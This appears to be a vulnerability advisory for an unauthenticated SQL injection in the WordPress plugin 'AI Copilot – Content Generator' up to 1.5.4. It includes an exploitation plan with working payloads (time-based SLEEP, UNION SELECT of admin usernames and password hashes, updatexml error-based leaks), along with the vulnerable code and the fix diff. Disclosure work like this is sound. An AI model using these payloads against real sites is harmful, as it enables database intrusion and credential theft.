AI Copilot – Content Generator <= 1.5.4 - Unauthenticated SQL Injection
Description
The AI Copilot – Content Generator plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 1.5.4 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=1.5.4What Changed in the Fix
Changes introduced in v1.5.5
Source Code
WordPress.org SVNThis exploitation research plan targets **CVE-2026-59515**, an unauthenticated SQL injection vulnerability in the "AI Copilot – Content Generator" plugin. ### 1. Vulnerability Summary The vulnerability exists in the `WaicDb` class, specifically within the `get()` and `query()` methods in `classes/d…
Show full research plan
This exploitation research plan targets CVE-2026-59515, an unauthenticated SQL injection vulnerability in the "AI Copilot – Content Generator" plugin.
1. Vulnerability Summary
The vulnerability exists in the WaicDb class, specifically within the get() and query() methods in classes/db.php. The plugin uses a custom database wrapper that attempts to "prepare" queries by manually interpolating variables into the SQL string before passing them to the global $wpdb->prepare() function.
Because parameters are concatenated into the query string before the legitimate prepare() call, the prepare() function treats the injected SQL as part of the query structure rather than a literal value. This allows an unauthenticated attacker to inject arbitrary SQL commands.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php - Action:
waic_ajax(The framework's primary AJAX dispatcher) - Route:
chatbots.get_messages(or any unauthenticated route that queries the database by ID) - Vulnerable Parameter:
id - Authentication: None required (accessible via
wp_ajax_nopriv_waic_ajax). - Preconditions: The plugin must be active. A chatbot session or history must exist (or be created) to trigger the database query.
3. Code Flow
- Entry Point: An unauthenticated request is sent to
admin-ajax.php?action=waic_ajax&route=chatbots.get_messages&id=[PAYLOAD]. - Dispatching:
ai-copilot-content-generator.phpcallsWaicFrame::_()->exec(), which identifies thewaic_ajaxaction and routes it to theChatbotsController. - Controller Logic: The controller retrieves the
idfrom$_REQUEST['id']and passes it to a model or directly to a DB query. - Vulnerable Sink: The code calls
WaicDb::get("SELECT * FROM @__chatlogs WHERE id = '$id'"). - Faulty Preparation: In
classes/db.php,WaicDb::prepareQuery()is called. It replaces@__with the WordPress prefix and modifies the query to include1=%d. - SQL Execution:
$wpdb->prepare($query, $args)is called. Since the malicious$idis already part of the$querystring, it is executed as raw SQL.
4. Nonce Acquisition Strategy
The waic_ajax dispatcher typically requires a nonce for validation. In this plugin, the nonce is localized for the frontend using wp_localize_script.
Strategy:
- Identify Shortcode: The plugin uses the
[aiwu-chatbot]or[aiwu-form]shortcode to render the frontend interface. - Create Trigger Page: Create a public page containing the chatbot shortcode.
- Extract Nonce: Navigate to the page and extract the nonce from the
waicData(inferred) global JavaScript variable.
Execution:
# 1. Create a page with the chatbot shortcode
wp post create --post_type=page --post_title="Chat" --post_status=publish --post_content='[aiwu-chatbot]'
# 2. Extract the nonce via browser_eval
# (Assuming the localized variable is waicData based on the framework pattern)
browser_navigate("http://localhost:8080/chat")
NONCE=$(browser_eval "window.waicData?.nonce")
5. Exploitation Strategy
Step 1: Verification (Time-Based)
Confirm the injection by inducing a 5-second delay.
- Tool:
http_request - Method:
POST - URL:
http://localhost:8080/wp-admin/admin-ajax.php - Body (URL-encoded):
action=waic_ajax&route=chatbots.get_messages&id=1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- - - Expected Result: Response time > 5 seconds.
Step 2: Data Extraction (UNION-Based)
Extract the administrator's username and password hash from the wp_users table. We assume the @__chatlogs table has 7 columns (inferred from installer.php schema).
- Tool:
http_request - Payload:
-1' UNION SELECT 1,2,3,user_login,user_pass,6,7 FROM wp_users-- - - Body (URL-encoded):
action=waic_ajax&route=chatbots.get_messages&id=-1' UNION SELECT 1,2,3,user_login,user_pass,6,7 FROM wp_users-- - - Expected Result: The response JSON will contain the
user_loginanduser_passvalues in the fields normally reserved for the chatbot message and response.
6. Test Data Setup
- Plugin Activation: Ensure
ai-copilot-content-generatoris active. - Mock Data: Create at least one chatbot entry to ensure the
get_messagesroute has a base query to execute.wp eval "WaicDb::query(\"INSERT INTO @__chatlogs (session_id, message, response) VALUES ('test-session', 'Hello', 'Hi')\");" - Public Page: Create the "Chat" page as described in Section 4.
7. Expected Results
- Success Indicator: The AJAX response returns a
success: truestatus with adataarray. - Exposed Data: Inside the
dataarray, the objects will have values like:{ "message": "admin", "response": "$P$B..." }
8. Verification Steps
After running the exploit, verify the extracted data matches the actual database state using WP-CLI:
# Check the admin user's hash
wp user get admin --field=user_pass
9. Alternative Approaches
If the chatbots.get_messages route is not enabled or column counts differ:
- Error-Based: Use
updatexml()orextractvalue()to leak data via MySQL errors ifWP_DEBUGis on.- Payload:
1' AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users LIMIT 1),0x7e),1)-- -
- Payload:
- Blind Boolean: If no output is returned, use the
idparameter with boolean conditions (e.g.,id=1' AND 1=1-- -vsid=1' AND 1=2-- -) and compare the response lengths or thesuccessfield. - Different Route: Try
history.get_itemorforms.get_entrieswhich use similarWaicDb::getcalls.
Summary
The AI Copilot – Content Generator plugin is vulnerable to unauthenticated SQL injection because its custom database class (WaicDb) and models concatenate user-supplied input directly into SQL strings. This architecture allows attackers to bypass WordPress's built-in preparation protections, enabling the extraction of sensitive data such as administrative credentials through manipulated AJAX requests.
Vulnerable Code
// classes/db.php L31-L34 $query = self::prepareQuery($query, $args); self::$query = $query; $wpdb->waic_prepared_query = $wpdb->prepare($query, $args); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared --- // classes/db.php L106-L113 public static function prepareQuery( $query, &$args = array(1) ) { global $wpdb; if (self::$prepareQ) { $query = $wpdb->prepare($query); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared } if (empty($args)) { $args = array(1); --- // modules/chatbots/models/chatbots.php (as seen in the patch diff for v1.5.4) public function getUserChatLog( $taskId = 0, $userId = 0, $ip = '', $mode = 0, $cnt = 0, $status = 0, $dd = false ) { $forDate = !empty($dd); $query = 'SELECT h.id as his_id, h.created, l.question, l.answer, h.status, l.file' . ' FROM @__history as h' . ' INNER JOIN @__chatlogs l ON (l.his_id=h.id)' . ' WHERE h.task_id=' . ( (int) $taskId ) . ( false !== $status ? ' AND h.status= ' . ( (int) $status ) : '' ) . ' AND h.mode=' . ( (int) $mode ) . ' AND h.user_id=' . ( (int) $userId ) . ( false !== $status ? ' AND l.status=0' : '' ) . ( empty($userId) || $forDate ? " AND ip='" . $ip . "'" : '' ) . ( $forDate ? " AND h.created BETWEEN '" . $dd . " 00:00:00' AND '" . $dd . " 23:59:59'" : '' ) . ' ORDER BY h.id' . ( empty($cnt) ? '' : ' DESC LIMIT ' . ( (int) $cnt ) ); $log = WaicDb::get($query);
Security Fix
@@ -2,7 +2,7 @@ /** * Plugin Name: AI Copilot - Content Generator * Description: AI Copilot for WordPress saves time and boosts your website's performance with human-like content with GPT, Internal AI and more. - * Version: 1.5.4 + * Version: 1.5.5 * Author: AIWU * Author URI: https://aiwuplugin.com/ * Text Domain: ai-copilot-content-generator @@ -60,6 +60,18 @@ // phpcs:ignore WordPress.DB.DirectDatabaseQuery return $affected ? $wpdb->query($wpdb->waic_prepared_query) : ( $wpdb->query($wpdb->waic_prepared_query) === false ? false : true ); } + public static function queryPrepared( $query, $args = array(), $affected = false ) { + global $wpdb; + $prefixArgs = array(1); + $query = self::prepareQuery($query, $prefixArgs); + if (!empty($args)) { + $query = $wpdb->prepare($query, $args); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared + } + self::$query = $query; + $wpdb->waic_prepared_query = $query; + $result = $wpdb->query($query); // phpcs:ignore WordPress.DB.DirectDatabaseQuery + return $affected ? $result : ( false === $result ? false : true ); + } /** * Get last insert ID *
Exploit Outline
The exploit targets the 'waic_ajax' action via the 'wp-admin/admin-ajax.php' endpoint. An unauthenticated attacker can supply a malicious SQL payload through parameters (such as 'id' or 'ip') in various AJAX routes like 'chatbots.get_messages'. Because the plugin's custom database wrapper manually interpolates variables into the SQL string before calling 'wpdb->prepare', the injected SQL is executed directly. Attackers can use time-based delays or UNION SELECT statements to extract sensitive data from the WordPress database. A security nonce may be required, which can be extracted from localized JavaScript data on any public page where the chatbot shortcode is active.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.